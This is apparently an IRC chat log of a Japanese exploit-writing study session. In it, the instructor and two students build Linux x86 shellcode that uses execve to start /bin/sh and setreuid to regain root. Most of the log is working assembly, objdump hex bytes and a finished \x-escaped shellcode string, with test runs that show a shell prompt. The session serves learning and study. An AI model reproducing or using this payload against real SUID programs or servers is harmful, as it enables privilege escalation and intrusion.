== Log start: 10/06/07 20:59:26 == 20:59 *HamanoRen join (HamanoRen!~Defolos@eaoska122076.adsl.ppp.infoweb.ne.jp) 20:59 *Names #lykeion: HamanoRen be-be- @IPUSIRON 20:59 [HamanoRen] こんばんはー 20:59 [IPUSIRON] こんばんは 20:59 [be-be-] こんばんは 21:00 [HamanoRen] あ、名前が・・・ 21:00 [HamanoRen] 少々お待ちください == Log stop: 10/06/07 21:00:25 == == Log start: 10/06/07 21:00:47 == 21:00 *Defolos join (Defolos!~Defolos@eaoska122076.adsl.ppp.infoweb.ne.jp) 21:00 *Names #lykeion: Defolos be-be- @IPUSIRON 21:00 [Defolos] ただいま 21:01 [IPUSIRON] こんばんは 21:01 *IPUSIRON mode +o Defolos 21:01 [Defolos] それでは、9時になりましたので始めましょうか 21:01 [IPUSIRON] はい。宜しくお願いします 21:02 [be-be-] よろしくお願いします 21:02 [Defolos] では、資料をアップしておきましたのでhttp://ruffnex.oc.to/defolos/exploiting/exploiting_practice/data/exploiting-03.htmlを開いてください 21:02 [Defolos] 前回はペイロードの作成の練習として 21:02 [Defolos] 画面にhelloと表示するペイロードを造りました 21:03 [Defolos] これはこれで、管理者を驚かせるようなことには使えるのですが 21:03 [Defolos] あんまり有用とは言えませんね 21:03 [Defolos] そこで今回は、もっと実用的なペイロードの作成を行います 21:03 [Defolos] 資料のシェルコードのところをご覧ください 21:04 [Defolos] 今回作るペイロードはシェルコードと呼ばれるペイロードです 21:04 [Defolos] これはシェルを起動するペイロードで、別名eggとも呼ばれます 21:05 [Defolos] 以前説明したように、root権限のシェルを起動する=権限の奪取であり 21:05 [Defolos] 侵入が可能となります 21:05 [Defolos] そのため、最も致命的なペイロードのひとつです 21:06 [Defolos] 今回はこれを作ってきましょう 21:06 [Defolos] では次の項目、C言語でのシェル起動をご覧ください 21:07 [Defolos] C言語でシェルを起動するプログラムはそこに挙がっているソースで作成できます 21:07 [Defolos] execveシステムコールを使っているわけですが、これをアセンブリで記述できれば、シェルコードが作成できます 21:08 [Defolos] それでは次に進みます 21:08 [Defolos] execveシステムコールを使ってシェルを起動すると述べましたが 21:09 [Defolos] execveの使い方を説明します 21:09 [Defolos] まず、execveはプログラムを実行するシステムコールです 21:10 [Defolos] 以前execl関数でシェルを呼び出す実験は行いましたが 21:10 [Defolos] execveはそのexeclの本家本元みたいなものです 21:11 [Defolos] それで、具体的にexecveは何をやってくれるのかと言いますと 21:11 [Defolos] 引数で指定されたプログラムを呼び出し、呼び出し元のプロセスのtext,data,bss,スタックセグメントを上書きします 21:12 [Defolos] つまり、プログラムを呼び出したら、呼び出し元のプログラムに戻ってこれません 21:13 [Defolos] プロトタイプはmanページを参考にすると 21:13 [Defolos] int execve(const char *filename, char *const argv[], char *const envp[]); 21:13 [Defolos] と書かれていました 21:13 [Defolos] つまり、第一引数には起動させたいプログラムへのパスを 21:14 [Defolos] 第二引数には新しく起動するプログラムへの引数が格納されたアドレスのアドレスを 21:14 [Defolos] 第三引数には同じく環境変数を指定します 21:14 [Defolos] かなりわかりにくいですが、図をご覧ください 21:15 [Defolos] 第一引数には文字列へのアドレスを渡せばよいのですが 21:15 [Defolos] 第二、第三引数が少しやっかいです 21:16 [Defolos] 第二引数には、引数として渡したい文字列、ここではls -lですが、そこへのアドレスが入っているアドレスを渡します 21:16 [Defolos] それぞれの文字列は最後がNULLで終端している必要がある点もご注意ください 21:17 [Defolos] また、execveのシステムコール番号は11番です 21:17 [Defolos] ここまでで質問はありませんでしょうか 21:18 [be-be-] ありません 21:18 [Defolos] それでは次に行きたいと思います 21:19 [IPUSIRON] 第2引数のところに渡されるのはアドレスとうことですよね? 21:19 [Defolos] はい 21:19 [Defolos] アドレスですが、そのアドレスには文字列へのアドレスが入っています 21:19 *IPUSIRON execve("/bin/sh", argv, envp); 21:19 [IPUSIRON] ああ わかりました 21:19 [IPUSIRON] すみません 21:20 [Defolos] 質問は適宜割り込んで行っていただいて結構ですので 21:20 [Defolos] わからない点があったらどしどし質問してください 21:20 [Defolos] それでは、次に行きますね 21:21 [IPUSIRON] あ 21:21 [IPUSIRON] サンプルプログラムの 21:21 [Defolos] はい 21:21 *IPUSIRON const char *argv[] = {"/bin/sh", '\0'}; 21:21 [IPUSIRON] となってますが、下の例ではls -laという話は繋がってるんですか? 21:22 [IPUSIRON] 例での 21:22 [Defolos] あ、ごめんなさい 21:22 [Defolos] 図の例ではshだとわかりにくいので 21:22 [Defolos] lsにしていますが 21:22 [IPUSIRON] 下の例では/bin/sh ls -laが実行されると解釈したんですが 21:23 [Defolos] あ、その解釈で問題ないです 21:23 [Defolos] 引数としてls -lと言うものを渡しているわけですが 21:23 [IPUSIRON] それでは上のサンプルプログラムでは、/bin/shで/bin/shを実行してされるということでしょうか? 21:24 [Defolos] シェルの場合、 21:24 [Defolos] 引数として何も取らなくても問題にはならないのですが 21:24 [Defolos] 慣例として自分自身のアドレスを渡す傾向があります 21:25 [Defolos] ですので、/bin/shを起動するときの引数に/bin/shを渡しています 21:25 [IPUSIRON] なるほど わかりました 21:25 [Defolos] また、環境変数はなしでも良いので 21:25 [Defolos] 何も指定しないためにNULLへのアドレスのアドレスを引数にしています 21:26 [Defolos] 少し説明不足でした。申し訳ありません 21:26 [Defolos] では、次の文字列の生成テクニックですが 21:27 [Defolos] execveはただ単に引数を指定して実行すれば動いてくれるわけですが 21:27 [Defolos] 問題となるのはどのように引数となる文字列を作り出すかです 21:28 [Defolos] 特に、文字列はNULLで終わっていなければならないのに、ペイロードにNULLが混入してはいけないという点が難しいところです 21:29 [Defolos] これを解決するためには、プログラムの実行に従ってメモリを上書きし、NULLをメモリ内に作り出すテクニックが必要です 21:29 [Defolos] 実際の生成手順ですが 21:30 [Defolos] まず、/bin/shXAAAABBBBというような文字列を宣言します 21:30 [Defolos] 次に、シェルコード内でXの部分に0を上書きします 21:31 [Defolos] その後、文字列の先頭アドレスを適当なレジスタに保存します 21:31 [Defolos] 後はAAAAの部分をそのアドレスで上書きします 21:31 [Defolos] 最後にBBBBの部分を0で上書きすれば 21:31 [Defolos] 引数として渡す文字列が生成されます 21:33 [Defolos] test 21:33 [Defolos] えと、/bin/shの部分が実行するプログラムへのパスです 21:33 [Defolos] その後ろの0はパスの文字列の終端を表します 21:33 [IPUSIRON] プログラムの方ではBBBBになってるんですが 21:34 [Defolos] はい 21:34 [IPUSIRON] ミス プログラムの方ではBBB 21:34 [IPUSIRON] 上の解説ではBBBB 21:34 [Defolos] あ、1もじづつ足りませんでした・・・ 21:34 [IPUSIRON] 後Aの数も一致してないんですが 21:34 [Defolos] ソースのほうが間違えています 21:35 [IPUSIRON] では数値の部分も変わってきますか? 21:35 *IPUSIRON xorl %eax, %eax 21:35 [Defolos] 数値の部分は変わらないです 21:35 [IPUSIRON] で%eax=0にして、Xの部分に0を上書きということですよね? 21:36 [Defolos] はい 21:36 [IPUSIRON] +というのはゼロからカウントしてるんですね 21:36 [IPUSIRON] わかりました 21:37 [Defolos] はい、0から数えます 21:37 [IPUSIRON] 続けてください 21:37 [Defolos] ソースコードに誤りがあり申し訳ありませんでした。修正して起きます 21:38 [Defolos] AAAAの部分には文字列へのアドレスが入る、つまり、このAAAAのアドレスを第二引数に渡せば良いわけです 21:38 [Defolos] 最後のBBBBですが、ここにha 21:38 [Defolos] 0が4バイト入ります 21:39 [Defolos] このBBBBのアドレスを第三引数に指定すれば、NULLへのアドレスとなり、Cでのサンプルに合致します 21:40 [Defolos] さらにAAAAのアドレスも続くBBBBのNULLで終端する事になるので 21:40 [Defolos] 正常な文字列として扱われます 21:40 [Defolos] それで、オフセットについて補足しておきます 21:41 [Defolos] オフセットは、あるアドレスからどれだけ離れているかを表現するのに使います 21:41 [Defolos] 例えば、0x0001+7だと 21:42 [Defolos] 0x0001番地に7を加算した0x0008番地を示します 21:42 [Defolos] この「7」がオフセットなわけですが、 21:43 [Defolos] GASではオフセットは オフセット(アドレス) のように書きます 21:43 [Defolos] 例えば、7(%ebx)なら 21:43 [Defolos] ebxに入っているアドレス+7バイトの位置を意味しています 21:43 [Defolos] オフセットを考えると、先ほどのサンプルコードは 21:44 [Defolos] まず文字列へのアドレスを取得し、eaxをゼロクリアします 21:44 [Defolos] つぎに、文字列への先頭アドレス+7の場所に0を入れます 21:45 [Defolos] つまりXの場所ですが、その後、同じく先頭アドレス+8の場所に 21:45 [Defolos] 文字列へのアドレスを上書きします 21:46 [Defolos] それから先頭アドレス+12の位置、つまりBの部分に0を上書きします 21:46 [Defolos] さて、先ほどからXやA,Bという文字を使っていましたが 21:47 [Defolos] この文字はアドレス上に確保した、0やアドレスを上書きするための予約席のようなものです 21:47 [Defolos] まっとうなプログラムであれば、このような予約席を用意するのは最低限のマナーなのですが 21:48 [Defolos] シェルコードはプログラムをハイジャックするような行儀の悪いプログラムです 21:48 [Defolos] ですので、予約を取らずにメモリを上書きしてもたいして問題にはなりません 21:49 [Defolos] そんなわけで、実際にはXやらABは確保しなくても問題ないわけです 21:49 [Defolos] 確保しなければシェルコードのサイズも小さくなりますので、少し嬉しいですね 21:49 [Defolos] それでは、ここで例題をやってみましょう 21:50 [Defolos] 例題3.1なのですが 21:50 [Defolos] jmp/callテクニックを使ってシェルを起動するペイロードを造ってください 21:50 [Defolos] exitシステムコールはいらないです 21:50 [Defolos] execveシステムコールは元のプログラムに戻ってきませんので 21:51 [Defolos] exitを書いても実行される事がありませんので、無くても良いのです 21:52 [Defolos] それで、動作のテストには「動作テスト」で紹介しているテスト用プログラムをお使いください 21:54 [Defolos] あ、sshサーバにログインしてやってみてくださいね 21:55 [be-be-] あれ、何故かsshでログインができません 21:55 [Defolos] ! 21:55 [be-be-] glazheim.mydns.jpであっていますよね? 21:55 [Defolos] はい 21:55 [Defolos] エラーメッセージは何かありますか? 21:56 [be-be-] sshのキーが変わっているメッセージが出ました。 21:56 [Defolos] sshのキー・・・ 21:56 [be-be-] RSAのキーのフィンガープリントです 21:58 [Defolos] 実は一度debianを再インストールしていますので、その影響なのかもしれません・・・ 21:58 [be-be-] パスワードとかはどうなっていますか? 21:58 [IPUSIRON] パスワード入力してもはじかれますね 21:58 [Defolos] パスワードは前のままだと思うのですが 21:59 [IPUSIRON] 最初にサーバーにアクセスしたとき変なダイアログ出ましたが、無視してログインしようとしましたが、 21:59 [be-be-] フィンガープリントは直しましたが、やはりログインができません 21:59 [Defolos] おかいしですね 22:01 [Defolos] パスワードが違うというメッセージでしたか? 22:01 [be-be-] そうです 22:02 [Defolos] では、一度rootでパスワードを変更します 22:02 [be-be-] お願いします 22:02 [Defolos] bebeさんはSASでのユーザ名は何でしたか? 22:03 [be-be-] kazui 22:04 [IPUSIRON] 入れました 22:04 [be-be-] 入れました 22:04 [Defolos] よかったです;; 22:05 [Defolos] では、手間取ってしまって申し訳ありませんでしたが、例題をやってみましょう 22:09 [Defolos] あ、もう一つ命令を説明するの忘れていました 22:09 [Defolos] 実は、leaという命令を使います 22:09 [Defolos] leaはアドレスを取得する命令で 22:10 [Defolos] lea 元のアドレス, アドレスを格納したい場所 のように使います 22:11 [Defolos] leaもオフセットが使えますので、AAAAのアドレスを取得するのにご活用ください 22:12 [IPUSIRON] そのleaの使い方の、元のアドレスって何を指してるんですか? 22:12 [Defolos] 例えば、文字列の先頭アドレスを入れたレジスタなどです 22:20 [IPUSIRON] 自分は前回の復習しながらなので、先に進めておいてください 22:22 [Defolos] 了解しました 22:22 [Defolos] 実は私もまだ出来てないのですが、bebeさんは出来ましたか? 22:23 [be-be-] まだ苦戦しています… 22:23 [Defolos] わかりましたー 22:23 [Defolos] 私自身も苦戦してます^^; 22:25 [IPUSIRON] /bin/shのアドレスをAAAAにセットするんですよね 22:25 [IPUSIRON] ? 22:26 [IPUSIRON] この時点から勘違いしてるんだろうか… 22:29 [Defolos] はい 22:29 [Defolos]  /bin/shという文字列の先頭アドレスをAAAAの部分に上書きします 22:31 [Defolos] わからなくなったら、チャットに挙げてみると良いと思います 22:32 [IPUSIRON] 文字列の先頭アドレスということは%ebxを8(%ebx)にセットということですか? 22:32 [Defolos] はい、あってます 22:33 [Defolos] アドレスは4バイトであると言う点に注意してくださいね 22:37 [IPUSIRON] ちょっと混乱してきました。ギブアップします(笑) 22:37 [Defolos] 了解しました^^; 22:37 [Defolos] ソースを見せていただけるとありがたいのですが 22:37 [IPUSIRON] ソースも完成してないんですが 22:38 [Defolos] 途中でも結構ですよ 22:38 *IPUSIRON .globl main 22:38 *IPUSIRON main: 22:38 *IPUSIRON jmp ONE 22:38 *IPUSIRON TWO: 22:38 *IPUSIRON popl %ebx 22:38 *IPUSIRON xorl %eax, %eax 22:38 *IPUSIRON movl %eax, 7(%ebx) 22:38 *IPUSIRON lea %ebx, 8(%ebx) 22:38 *IPUSIRON ; mov %ebx, 8(%ebx) 22:38 *IPUSIRON mov %eax, 12(%ebx) 22:38 *IPUSIRON ONE: 22:38 *IPUSIRON call TWO 22:38 *IPUSIRON .string "/bin/shXAAAABBBB" 22:38 [IPUSIRON] サンプルだとmovでしたが、ここをleaとか使うのかなとおもったんですが 22:39 [IPUSIRON] そもそもleaを使う意義をきちんと理解できてないので 22:39 [IPUSIRON] 混乱してるんだと思います 22:39 [Defolos] なるほど 22:39 [Defolos] leaはアドレスを取得する命令でしたね 22:39 [IPUSIRON] はい 22:40 [Defolos] つまり、第2引数以降に使う、文字列へのアドレスのアドレスを取得するために使うわけです 22:40 [Defolos] AAAAの部分を文字列の先頭アドレスにしたら、そのアドレスをebxに入れなければならないわけですが 22:41 [Defolos] mov命令ではアドレスの中にあるものを参照してしまいますので 22:41 [IPUSIRON] はい 22:42 [Defolos] レジスタのアドレス自体を他のレジスタに入れるにはleaを使わなければならないのです 22:42 [IPUSIRON] ということはサンプルプログラムの方はそのまま正しくないということですか? 22:43 [Defolos] 文字列の生成の部分は問題ないのですが 22:43 [Defolos] その後の文字列のアドレスのアドレスをebxやecxに入れる処理が抜けています 22:44 [IPUSIRON] ということはサンプルは修正というより、追加するという感じですか? 22:44 [Defolos] 間違えました、ecxやedxですね、第2と第3引数なので 22:44 [Defolos] 追加ですね 22:45 [Defolos] あくまでサンプルは、文字列生成の部分だけを抜き出したものですので 22:46 [IPUSIRON] lea 8(%ebx),%ecx 22:46 [IPUSIRON] こういうのを入れるってことかなあ…? 22:47 [Defolos] お、合ってますよ 22:47 [IPUSIRON] ということは、 lea 12(%ebx),%edxも入れるんですかね 22:47 [Defolos] はい 22:48 [Defolos] あと、文字列生成の時にはleaは使わないのですよ 22:48 [Defolos] フィードバックでもう少しleaについての説明をしますね 22:48 [IPUSIRON] はい 22:49 [Defolos] bebeさんはいかがですか? 22:49 [be-be-] うまくいきそうでいきませんねえ・・・ 22:49 [be-be-] フィードバックの方おねがいします 22:50 [Defolos] わかりましたー 22:50 [Defolos] ちなみに、bebeさんはどんなコードを書かれましたか? 22:50 [be-be-] main: 22:51 [be-be-] jmp ONE 22:51 [be-be-] popl %ebx 22:51 [be-be-] xor %eax, %eax 22:51 [be-be-] movl %eax, 7(%ebx) 22:51 [be-be-] movl %ebx, 8(%ebx) 22:51 [be-be-] mov %eax, 12(%ebx) 22:51 [be-be-] lea 8(%ebx), %ecx 22:51 [be-be-] lea 12(%ebx),%edx 22:51 [be-be-] movb $11,%al 22:52 [be-be-] int $0x80 22:52 [be-be-] ONE: 22:52 [be-be-] call TWO 22:52 [be-be-] jmp ONE 22:53 [be-be-] .string "/bin/shXAAAABBBB" 22:53 [Defolos] 最後から2番目のjmp命令を消せばうまくいきそうな気がします 22:53 [be-be-] あ、TWO:が抜けてしまいました。 22:54 [IPUSIRON] 複数行のコピペ多分できますよ<IRCクライアントにもよるかもしれませんが 22:54 [Defolos] ebxでポップしたときに、次のアドレスがjmpになってると文字列の先頭アドレスが取得できないので 22:54 [Defolos] 最後から2番目を消して、一番最初に「.global main」を追加すればいけそうです 22:54 [be-be-] あ、なるほど試してみます 22:56 [IPUSIRON] 基本的な質問かもしれませんが、 22:56 *IPUSIRON movb $11, %al 22:56 *IPUSIRON int $0x80 22:56 [IPUSIRON] はどういう役目ですか? 22:57 [Defolos] はい 22:57 [Defolos] ええと、これはexecveシステムコールを呼ぶための命令です 22:57 [IPUSIRON] 決り文句のようなものですか? 22:57 [Defolos] まず、eaxに11というシステムコール番号を格納します 22:57 [IPUSIRON] はい 22:58 [Defolos] その後にシステムコール割り込み(0x80番のシグナル)を発生させるわけです 22:58 [Defolos] これで、eaxに入れられたシステムコール番号のシステムコールが実行されます 22:58 [IPUSIRON] なるほど 22:58 [Defolos] 違う値をeaxに入れていたら、違うシステムコールが呼ばれます 22:59 [IPUSIRON] movl $11,%eaxでもいいんですか? 22:59 [Defolos] 普通のプログラムなら、それでもOKです 23:00 [IPUSIRON] わかりました 23:00 [Defolos] ただ、シェルコードの場合はeaxという指定の仕方だと0が埋め草に使われちゃいますので 23:00 [Defolos] コードの途中に0が出てくる事になって嬉しくありません 23:00 [IPUSIRON] なるほど… 23:01 [Defolos] このあたりは第2回の資料を参照ください 23:01 [IPUSIRON] わかりました。 23:02 [Defolos] bebeさん、今どんな感じでしょうか〜 23:02 [be-be-] 実行してもセグメンテーション違反のメッセージが出て止まっています 23:02 [Defolos] ちょっとファイルを覗いてみますね 23:03 [be-be-] ~/3/exec.sです 23:04 [Defolos] テスト用のファイルはどれでしょうか? 23:04 [Defolos] たぶん、シェルコードは上手く出来てると思います 23:08 [Defolos] ペイロードのテストには資料の「動作テスト」で挙げてるソースを使ってくださいね 23:10 [Defolos] では、時間もあれなので、回答例のようなものを挙げてみたいと思います 23:10 [Defolos] 私が作ったコードはこんな感じです 23:10 [Defolos] 23:10 [Defolos] .global main 23:10 [Defolos] 23:10 [Defolos] main: 23:10 [Defolos] 23:10 [Defolos] jmp ONE 23:10 [Defolos] 23:10 [Defolos] TWO: 23:10 [Defolos] popl %ebx 23:10 [Defolos] xorl %eax, %eax 23:10 [Defolos] movl %eax, 7(%ebx) 23:10 [Defolos] mov %ebx, 8(%ebx) 23:10 [Defolos] mov %eax, 12(%ebx) 23:10 [Defolos] 23:10 [Defolos] mov $11, %al 23:10 [Defolos] leal 8(%ebx), %ecx 23:10 [Defolos] leal 12(%ebx), %edx 23:10 [Defolos] int $0x80 23:10 [Defolos] 23:10 [Defolos] ONE: 23:10 [Defolos] call TWO 23:10 [Defolos] .string "/bin/sh" 23:11 [Defolos] あとはコンパイルしてobjdumpで開いて、必要なところだけを抜き出します 23:11 [Defolos] eb 16 5b 31 c0 89 43 07 89 5b 08 89 43 0c b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e5 23:11 [Defolos] 23:11 [Defolos] ff ff ff 2f 62 69 6e 2f 73 68 23:12 [Defolos] で、C言語の決まりで、16進データの前には\xをつけます 23:12 [Defolos] \xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x 23:12 [Defolos] 23:12 [Defolos] 8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 23:13 [Defolos] こんな感じのものをテスト用コードに埋め込んで、コンパイルして実行します 23:14 [Defolos] では、実際にバイトコードを埋め込んで、テスト用プログラムを実行してみてください 23:15 [IPUSIRON]  \xは手動で入れましたか? 23:16 [Defolos] いえ、テキストエディタの置換機能を使いました 23:16 [Defolos] 手で入れても良いのですが、時間がかかるので、スペースを一文字ずつ残して、スペースを「\x」に置換しました 23:16 [IPUSIRON]  一旦マシン語だけの表示に直してから、スペースとかを置換ですか 23:16 [Defolos] はい 23:20 *IPUSIRON ipusiron@glazheim:~$ gcc shell_test.c -o shell_test 23:20 *IPUSIRON ipusiron@glazheim:~$ ./shell_test 23:20 *IPUSIRON sh-2.05b$ 23:21 [Defolos] お、うまくいってますね 23:21 [IPUSIRON] これでいいんですかね? 23:21 *IPUSIRON .globl main 23:21 *IPUSIRON main: 23:21 *IPUSIRON jmp ONE 23:21 *IPUSIRON TWO: 23:21 *IPUSIRON popl %ebx 23:21 [Defolos] 今回はテスト用プログラムがSUIDrootではありませんので、権限は元のままなのですよ 23:21 [IPUSIRON] これのままやったんですが 23:21 [IPUSIRON] AAAABBBBとかはいらないんですね 23:22 [Defolos] ある方がプログラム的には正しいのですが 23:22 [Defolos] サイズが大きくなってしまうので、シェルコードの場合は省く事が多いですね 23:22 [IPUSIRON] 無駄なものは削った方が多分Exploit的にいいですからね 23:22 [Defolos] はい 23:23 [IPUSIRON]  $ objdump -d a.out|grep \ -A 30でマシン語を表示させたんですが 23:23 [Defolos] はい 23:23 [IPUSIRON] そこからシェルコードだけ取り出すのに、手動でいらない部分って削りましたか? 23:23 [Defolos] 私はそうしました 23:23 [IPUSIRON] 0xの追加の前の話です 23:23 [IPUSIRON] なるほど 23:23 [Defolos] ちょっと効率的ではないですよね 23:23 [IPUSIRON] みす\xの追加でした 23:24 [IPUSIRON] 効率的にできると嬉しいですよね(笑) 23:24 [Defolos] bebeさんはいかがですか?できてますでしょうか 23:25 [Defolos] 効率的に出来る方法を考えておきたいと思います>効率的に 23:25 [be-be-] 一度書き直したほうが良さそうなので、書き直しています 23:25 [Defolos] 了解です 23:26 [Defolos] あ、ペイロードのテスト用プログラムがちょっと違ってるようです>bebeさん 23:29 [Defolos] ちょっと補足ですが、今回execveが戻ってこないという理由でexitを省いたのですが 23:29 [Defolos] execveは不測の事態で失敗する事があります 23:30 [Defolos] ですので、その場合に備えてexitを保険に追加しておくのも有用ですね 23:31 [Defolos] できました? >bebeさん 23:31 [be-be-] はい、何とか動きました 23:31 [Defolos] おめでとうございます 23:32 [Defolos] こんな感じで、シェルコードというのはシェルを起動できるペイロードなわけですが 23:32 [Defolos] もう一つ、使いしておいた方が良い機能があります 23:32 [Defolos] 今回は時間が押してますので、次の権限の復帰で終わりにしましょうか 23:33 [Defolos] その機能がさっき言った権限の復帰です 23:33 [Defolos] 最近のシステムでは、SUID rootプログラムであっても、他のプログラムを呼ぶ場合に権限を放棄してしまうものもあります 23:34 [Defolos] そうすると、シェルコードで起動できるシェルはroot権限を持つ事ができなくなってしまいます 23:34 [Defolos] そこで、シェルコードの中で権限の復帰を行う処理を追加しておくと便利なわけです 23:35 [Defolos] 権限の復帰はsetreuidシステムコールを使います 23:35 [Defolos] setreuid()は実UIDと実効UIDを設定するのですが 23:35 [Defolos] 実UIDと実行UIDって、何が違うんだ! となってしまいますよね 23:36 [Defolos] 実UIDというのは、本物ののUIDです 23:37 [Defolos] 実行UIDというのは、プログラムが起動するときに他のユーザのIDを借りるときのIDです 23:37 [Defolos] passwdなんかも、実UIDは実行した本人であっても 23:37 [Defolos] 実行UIDはrootになるわけです 23:38 [Defolos] rootのIDは0番ですので 23:38 [Defolos] setreuidで実UIDと実行UIDを0番に設定します 23:38 [Defolos] ちなみにシステムコール番号は70番です 23:39 [Defolos] では、先ほど作ったシェルコードに権限復帰機能を追加してみましょう 23:39 [Defolos] これは、文字列のアドレス取得の前に行えばよいので 23:39 [Defolos] ちょこっと追加すればよいだけです 23:45 [Defolos] 出来そうでしょうか? 23:45 [IPUSIRON] 0を追加というのもxorで作るんですか? 23:45 [Defolos] はい 23:46 [Defolos] xorでebxとecxを0にする、eaxを0にしてそれをmovするなどが考えられますね 23:47 *IPUSIRON .globl main 23:47 *IPUSIRON main: 23:47 *IPUSIRON jmp ONE 23:47 *IPUSIRON TWO: 23:47 *IPUSIRON xorl %eax, $eax 23:48 [IPUSIRON] これじゃダメですか? 23:48 [Defolos] うーん 23:48 [Defolos] まずいかも・・・ 23:48 [Defolos] setreuidは一番始めにやると良いですよ 23:49 [IPUSIRON] この結果じゃダメなんですよね? 23:49 [Defolos] TWOの直後にpop命令を入れなければ、文字列の先頭アドレスが取得できませんので 23:49 [Defolos] そこで問題が出てきそうです 23:49 [IPUSIRON] なるほど 23:54 [IPUSIRON] いまくいかない… 23:54 [Defolos] ソースはどんな感じでしょうか 23:55 *IPUSIRON .globl main 23:55 *IPUSIRON main: 23:55 *IPUSIRON jmp ONE 23:55 *IPUSIRON TWO: 23:55 *IPUSIRON popl %ebx xorl %eax, $eax movl %eax, %eax movl %eax, %ebx movb $70, %al int $0x80 ; xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) lea 8(%ebx),%ecx lea 12(%ebx),%edx movb $11, %al int $0x80 ONE: call TWO .string "/bin/sh" 23:55 [Defolos] なるほど、 23:55 [IPUSIRON] poplの直後に入れたつもりなんですが 23:55 [Defolos] えと 23:56 [Defolos] xorでeaxを0にしましたね 23:56 [IPUSIRON] はい 23:56 [Defolos] その後に、eaxにeaxを入れる処理があるのですが 23:56 [Defolos] これはあんまり意味がないかもしれません 23:56 [IPUSIRON] はい 23:57 [Defolos] その後にebxを上書きする命令が入っちゃってるのがまずいですね 23:57 [Defolos] これだと、popで取得したアドレスが0になってしまって 23:58 [Defolos] execveで使うときに困っちゃうので 23:58 [Defolos] esiレジスタに入れておいて後でebxに戻すか、pushして後でpopするなどの処理が必要になりますね 23:58 [IPUSIRON] 退避させるということですか? 23:58 [Defolos] はい 23:58 [IPUSIRON] なるほどです 23:59 [Defolos] ebxとecxを0にする必要があるので、どうしてもアドレスを待避しておかないとまずいのです 00:02 *IPUSIRON .globl main 00:02 *IPUSIRON main: 00:02 *IPUSIRON jmp ONE 00:02 *IPUSIRON TWO: 00:02 *IPUSIRON popl %ebx xorl %eax, $eax movl %ebx, %esi movl %eax, %ebx movl %eax, %ecx movb $70, %al int $0x80 movl %esi, %ebx movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) lea 8(%ebx),%ecx lea 12(%ebx),%edx movb $11, %al int $0x80 ONE: call TWO .string "/bin/sh" 00:03 [IPUSIRON] こんな感じですか? 00:03 [IPUSIRON] あxorl忘れてました 00:03 *be-be- .global main 00:03 *be-be- main: 00:03 *be-be- jmp ONE 00:03 *be-be- TWO: 00:03 *be-be- popl %ebx push %ebx xor %eax, %eax movl %eax, %ebx movl %eax, %ecx movb $70, %al int $0x80 pop %ebx xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) mov $11, %al leal 8(%ebx), %ecx leal 12(%ebx),%edx int $0x80 ONE: call TWO .string "/bin/sh" 00:04 [be-be-] こんな感じにしてみました 00:04 [Defolos] ちょっと待ってくださいね 00:04 [Defolos] なるほど 00:05 [Defolos] bebeさんのはpushによるebxの待避を行っているわけですね 00:06 [Defolos] イプさんはesiレジスタによる待避ですね 00:06 *IPUSIRON 00:03 (be-be-) movl %eax, %ebx 00:06 *IPUSIRON 00:03 (be-be-) movl %eax, %ecx 00:06 [IPUSIRON] こうやって2つにやらないとダメなんですね 00:07 [Defolos] はい 00:07 [IPUSIRON] 勘違いしてました 00:07 [Defolos] たぶん、お二人のは動くと思います 00:08 [IPUSIRON] 試してみます 00:08 [Defolos] 私はちょっと違うやり方でやっちゃったので、どういう結果になるのか楽しみでもあります 00:09 [Defolos] あ、イプさんのコード、eaxのゼロクリアが抜けてるかも・・・ 00:10 *IPUSIRON .globl main 00:10 *IPUSIRON main: 00:10 *IPUSIRON jmp ONE 00:10 *IPUSIRON TWO: 00:10 *IPUSIRON popl %ebx xorl %eax, $eax movl %ebx, %esi movl %eax, %ebx movl %eax, %ecx movb $70, %al int $0x80 movl %esi, %ebx movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) lea 8(%ebx),%ecx lea 12(%ebx),%edx movb $11, %al int $0x80 ONE: call TWO .string "/bin/sh" 00:10 [IPUSIRON] これに修正しました 00:11 [Defolos] shell2.sですか? 00:11 [IPUSIRON] はい 00:11 [Defolos] movl %eax, 7(%ebx) 00:12 [Defolos] の前に、eaxを0にしないとまずいかもです 00:12 [Defolos] このままだと、eaxには70が入ってますので 00:12 [IPUSIRON] ああ 00:12 [IPUSIRON] なるほど 00:14 [IPUSIRON] セグメーション違反… 00:14 [Defolos] Σ 00:14 [IPUSIRON] セグメンテーション 00:15 [Defolos] では、次回はそれを上手く修正するところから始めましょうか 00:15 [IPUSIRON] はい 00:15 [Defolos] bebeさんはどうなりました? 00:15 [be-be-] とりあえず動きました 00:15 [Defolos] おおー 00:15 [Defolos] おめでとうございます 00:16 [IPUSIRON] 一応結果のプロンプト教えてください 00:16 [be-be-] しかし、うまくいっているのかわかりませんでした 00:16 *be-be- kazui@glazheim:~/3$ ./pay2 00:16 *be-be- sh-2.05b$ 00:16 [Defolos] うまくいってそうですね 00:17 [Defolos] setreuidの効力については、ちょうど良いテストプログラムが作れませんでしたので、遺憾に思います 00:17 [Defolos] それでは、次回は今回作ったシェルコードの小型化を追求していきたいと思います 00:18 [Defolos] 今日はここまでにしましょう 00:19 [IPUSIRON] はい 00:19 [be-be-] ありがとうございました 00:19 [Defolos] お疲れ様でした 00:20 [IPUSIRON] be-be-さんのコードもう一度はりつけてもらえないでしょうか? 00:20 [IPUSIRON] ちょっと自分で復習しますので 00:20 *be-be- .global main 00:20 *be-be- main: 00:20 *be-be- jmp ONE 00:20 *be-be- TWO: 00:20 *be-be- popl %ebx push %ebx xor %eax, %eax movl %eax, %ebx movl %eax, %ecx movb $70, %al int $0x80 pop %ebx xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) mov $11, %al leal 8(%ebx), %ecx leal 12(%ebx),%edx int $0x80 ONE: call TWO .string "/bin/sh" 00:20 [Defolos] あ、そうだ忘れるところでした 00:21 [be-be-] これですか? 00:21 [Defolos] 一応、私が作ったやつを挙げておきますね 00:21 [IPUSIRON] ありがとうございます 00:21 [Defolos] .global main 00:21 [Defolos] 00:21 [Defolos] main: 00:21 